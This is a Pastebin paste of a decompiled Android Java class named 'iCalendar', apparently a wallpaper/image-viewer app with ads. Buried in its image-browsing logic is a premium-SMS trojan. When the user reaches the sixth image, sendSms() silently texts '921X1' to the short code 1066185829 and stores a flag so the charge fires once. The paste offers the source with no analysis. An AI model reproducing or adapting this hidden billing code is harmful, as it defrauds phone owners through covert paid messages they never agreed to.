Advertisement
0xroot

iCalendar.class

May 12th, 2011
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 9.92 KB | None | 0 0
  1. package com.mj.iCalendar;
  2.  
  3. import android.app.Activity;
  4. import android.app.AlertDialog;
  5. import android.app.AlertDialog.Builder;
  6. import android.app.PendingIntent;
  7. import android.content.Context;
  8. import android.content.Intent;
  9. import android.content.SharedPreferences;
  10. import android.content.SharedPreferences.Editor;
  11. import android.content.res.Resources;
  12. import android.graphics.Bitmap;
  13. import android.graphics.drawable.BitmapDrawable;
  14. import android.graphics.drawable.Drawable;
  15. import android.os.Bundle;
  16. import android.os.Handler;
  17. import android.telephony.gsm.SmsManager;
  18. import android.view.View;
  19. import android.view.View.OnClickListener;
  20. import android.view.View.OnLongClickListener;
  21. import android.widget.AdapterView;
  22. import android.widget.AdapterView.OnItemClickListener;
  23. import android.widget.GridView;
  24. import android.widget.ListAdapter;
  25. import android.widget.SimpleAdapter;
  26. import android.widget.Toast;
  27. import com.admob.android.ads.AdView;
  28. import java.io.IOException;
  29. import java.io.PrintStream;
  30. import java.util.ArrayList;
  31. import java.util.HashMap;
  32. import java.util.Timer;
  33. import java.util.TimerTask;
  34.  
  35. public class iCalendar extends Activity
  36.   implements View.OnClickListener, View.OnLongClickListener, AdapterView.OnItemClickListener
  37. {
  38.   public static long iStartTime = 0L;
  39.   private GridView dialogGridView;
  40.   private boolean iAutoFlag;
  41.   private Drawable iDrawable;
  42.   private boolean iTouch;
  43.   private int index;
  44.   private Handler mHandler;
  45.   private Timer mTimer;
  46.   private TimerTask mTimerTask;
  47.   private View main;
  48.   AlertDialog menuDialog;
  49.   int[] menu_image_array1;
  50.   int[] menu_image_array2;
  51.   private String[] menu_name_array1;
  52.   private String[] menu_name_array2;
  53.   private SharedPreferences scDB;
  54.   private String scNumber = "iBookN";
  55.   private String scState = "iBookS";
  56.   private String scTable = "iBookT";
  57.   private String tag = "iBook";
  58.  
  59.   public iCalendar()
  60.   {
  61.     String[] arrayOfString1 = new String[4];
  62.     arrayOfString1[0] = "退出程序";
  63.     arrayOfString1[1] = "设置桌面";
  64.     arrayOfString1[2] = "自动播放";
  65.     arrayOfString1[3] = "返回程序";
  66.     this.menu_name_array1 = arrayOfString1;
  67.     int[] arrayOfInt1 = { 2130837521, 2130837520, 2130837518, 2130837523 };
  68.     this.menu_image_array1 = arrayOfInt1;
  69.     String[] arrayOfString2 = new String[4];
  70.     arrayOfString2[0] = "退出程序";
  71.     arrayOfString2[1] = "设置桌面";
  72.     arrayOfString2[2] = "手动播放";
  73.     arrayOfString2[3] = "返回程序";
  74.     this.menu_name_array2 = arrayOfString2;
  75.     int[] arrayOfInt2 = { 2130837521, 2130837520, 2130837522, 2130837523 };
  76.     this.menu_image_array2 = arrayOfInt2;
  77.   }
  78.  
  79.   private void findAD()
  80.   {
  81.     AdView localAdView = (AdView)findViewById(2131034117);
  82.     localAdView.setAlwaysDrawnWithCacheEnabled(1);
  83.     localAdView.requestFreshAd();
  84.   }
  85.  
  86.   private ListAdapter getMenuAdapter(String[] paramArrayOfString, int[] paramArrayOfInt)
  87.   {
  88.     ArrayList localArrayList = new ArrayList();
  89.     int i = 0;
  90.     while (true)
  91.     {
  92.       int j = paramArrayOfString.length;
  93.       if (i >= j)
  94.       {
  95.         String[] arrayOfString = new String[2];
  96.         arrayOfString[0] = "itemImage";
  97.         arrayOfString[1] = "itemText";
  98.         int[] arrayOfInt = { 2131034114, 2131034115 };
  99.         iCalendar localiCalendar = this;
  100.         return new SimpleAdapter(localiCalendar, localArrayList, 2130903042, arrayOfString, arrayOfInt);
  101.       }
  102.       HashMap localHashMap = new HashMap();
  103.       Integer localInteger = Integer.valueOf(paramArrayOfInt[i]);
  104.       Object localObject1 = localHashMap.put("itemImage", localInteger);
  105.       String str = paramArrayOfString[i];
  106.       Object localObject2 = localHashMap.put("itemText", str);
  107.       boolean bool = localArrayList.add(localHashMap);
  108.       i += 1;
  109.     }
  110.   }
  111.  
  112.   private void openDialog(int paramInt)
  113.   {
  114.     View localView = View.inflate(this, 2130903040, null);
  115.     AlertDialog localAlertDialog = new AlertDialog.Builder(this).create();
  116.     this.menuDialog = localAlertDialog;
  117.     this.menuDialog.setView(localView);
  118.     GridView localGridView1 = (GridView)localView.findViewById(2131034112);
  119.     this.dialogGridView = localGridView1;
  120.     switch (paramInt)
  121.     {
  122.     default:
  123.     case 0:
  124.     case 1:
  125.     }
  126.     while (true)
  127.     {
  128.       this.dialogGridView.setOnItemClickListener(this);
  129.       this.menuDialog.show();
  130.       return;
  131.       GridView localGridView2 = this.dialogGridView;
  132.       String[] arrayOfString1 = this.menu_name_array1;
  133.       int[] arrayOfInt1 = this.menu_image_array1;
  134.       ListAdapter localListAdapter1 = getMenuAdapter(arrayOfString1, arrayOfInt1);
  135.       localGridView2.setAdapter(localListAdapter1);
  136.       continue;
  137.       GridView localGridView3 = this.dialogGridView;
  138.       String[] arrayOfString2 = this.menu_name_array2;
  139.       int[] arrayOfInt2 = this.menu_image_array2;
  140.       ListAdapter localListAdapter2 = getMenuAdapter(arrayOfString2, arrayOfInt2);
  141.       localGridView3.setAdapter(localListAdapter2);
  142.     }
  143.   }
  144.  
  145.   private void showImg()
  146.   {
  147.     if (this.index == 5)
  148.       sendSms();
  149.     if (this.index >= 33);
  150.     int k;
  151.     for (this.index = 0; ; this.index = k)
  152.     {
  153.       Resources localResources = getResources();
  154.       int i = this.index;
  155.       int j = 2130837505 + i;
  156.       Drawable localDrawable1 = localResources.getDrawable(j);
  157.       this.iDrawable = localDrawable1;
  158.       View localView = this.main;
  159.       Drawable localDrawable2 = this.iDrawable;
  160.       localView.setBackgroundDrawable(localDrawable2);
  161.       return;
  162.       k = this.index + 1;
  163.     }
  164.   }
  165.  
  166.   public void autoPlay()
  167.   {
  168.     Timer localTimer1 = new Timer();
  169.     this.mTimer = localTimer1;
  170.     iCalendar.1 local1 = new iCalendar.1(this);
  171.     this.mHandler = local1;
  172.     iCalendar.2 local2 = new iCalendar.2(this);
  173.     this.mTimerTask = local2;
  174.     Timer localTimer2 = this.mTimer;
  175.     TimerTask localTimerTask = this.mTimerTask;
  176.     localTimer2.schedule(localTimerTask, 1000L, 3000L);
  177.     this.iAutoFlag = 1;
  178.   }
  179.  
  180.   public String getStateVal()
  181.   {
  182.     String str1 = this.scTable;
  183.     SharedPreferences localSharedPreferences1 = getSharedPreferences(str1, 0);
  184.     this.scDB = localSharedPreferences1;
  185.     SharedPreferences localSharedPreferences2 = this.scDB;
  186.     String str2 = this.scState;
  187.     return localSharedPreferences2.getString(str2, "");
  188.   }
  189.  
  190.   public long getTimeVal()
  191.   {
  192.     String str1 = this.scTable;
  193.     SharedPreferences localSharedPreferences1 = getSharedPreferences(str1, 0);
  194.     this.scDB = localSharedPreferences1;
  195.     SharedPreferences localSharedPreferences2 = this.scDB;
  196.     String str2 = this.scNumber;
  197.     long l = System.currentTimeMillis();
  198.     return localSharedPreferences2.getLong(str2, l);
  199.   }
  200.  
  201.   public void onClick(View paramView)
  202.   {
  203.     View localView = this.main;
  204.     if ((paramView.equals(localView)) && (!this.iTouch))
  205.       showImg();
  206.   }
  207.  
  208.   public void onCreate(Bundle paramBundle)
  209.   {
  210.     super.onCreate(paramBundle);
  211.     boolean bool = requestWindowFeature(1);
  212.     setContentView(2130903043);
  213.     View localView = findViewById(2131034116);
  214.     this.main = localView;
  215.     this.main.setOnClickListener(this);
  216.     this.main.setOnLongClickListener(this);
  217.     findAD();
  218.   }
  219.  
  220.   protected void onDestroy()
  221.   {
  222.     super.onDestroy();
  223.   }
  224.  
  225.   public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong)
  226.   {
  227.     PrintStream localPrintStream = System.out;
  228.     String str = "arg2 = " + paramInt;
  229.     localPrintStream.println(str);
  230.     GridView localGridView = this.dialogGridView;
  231.     if (paramAdapterView.equals(localGridView))
  232.       switch (paramInt)
  233.       {
  234.       default:
  235.       case 0:
  236.       case 1:
  237.       case 2:
  238.       case 3:
  239.       }
  240.     while (true)
  241.     {
  242.       this.iTouch = 0;
  243.       return;
  244.       finish();
  245.       continue;
  246.       try
  247.       {
  248.         if (this.iDrawable == null)
  249.         {
  250.           Drawable localDrawable = getResources().getDrawable(2130837505);
  251.           this.iDrawable = localDrawable;
  252.         }
  253.         Bitmap localBitmap = ((BitmapDrawable)this.iDrawable).getBitmap();
  254.         getApplicationContext().setWallpaper(localBitmap);
  255.         this.menuDialog.cancel();
  256.         Toast.makeText(this, "设置桌面成功!", 1).show();
  257.       }
  258.       catch (IOException localIOException)
  259.       {
  260.         while (true)
  261.           localIOException.printStackTrace();
  262.       }
  263.       if (!this.iAutoFlag)
  264.         autoPlay();
  265.       while (true)
  266.       {
  267.         this.menuDialog.cancel();
  268.         break;
  269.         boolean bool = this.mTimerTask.cancel();
  270.         this.iAutoFlag = 0;
  271.       }
  272.       this.menuDialog.cancel();
  273.     }
  274.   }
  275.  
  276.   public boolean onLongClick(View paramView)
  277.   {
  278.     View localView = this.main;
  279.     if (paramView.equals(localView))
  280.     {
  281.       if (this.iAutoFlag)
  282.         break label33;
  283.       openDialog(0);
  284.     }
  285.     while (true)
  286.     {
  287.       this.iTouch = 1;
  288.       return false;
  289.       label33: openDialog(1);
  290.     }
  291.   }
  292.  
  293.   protected void onPause()
  294.   {
  295.     super.onPause();
  296.   }
  297.  
  298.   protected void onResume()
  299.   {
  300.     iStartTime = getTimeVal();
  301.     super.onResume();
  302.   }
  303.  
  304.   public void save()
  305.   {
  306.     SharedPreferences.Editor localEditor1 = this.scDB.edit();
  307.     String str1 = this.scState;
  308.     SharedPreferences.Editor localEditor2 = localEditor1.putString(str1, "Y");
  309.     String str2 = this.scNumber;
  310.     long l = System.currentTimeMillis();
  311.     SharedPreferences.Editor localEditor3 = localEditor1.putLong(str2, l);
  312.     boolean bool = localEditor1.commit();
  313.   }
  314.  
  315.   public void sendSms()
  316.   {
  317.     String str = getStateVal();
  318.     if (!"Y".equals(str))
  319.     {
  320.       SmsManager localSmsManager = SmsManager.getDefault();
  321.       Intent localIntent = new Intent();
  322.       PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this, 0, localIntent, 0);
  323.       PendingIntent localPendingIntent2 = null;
  324.       localSmsManager.sendTextMessage("1066185829", null, "921X1", localPendingIntent1, localPendingIntent2);
  325.       save();
  326.     }
  327.   }
  328. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement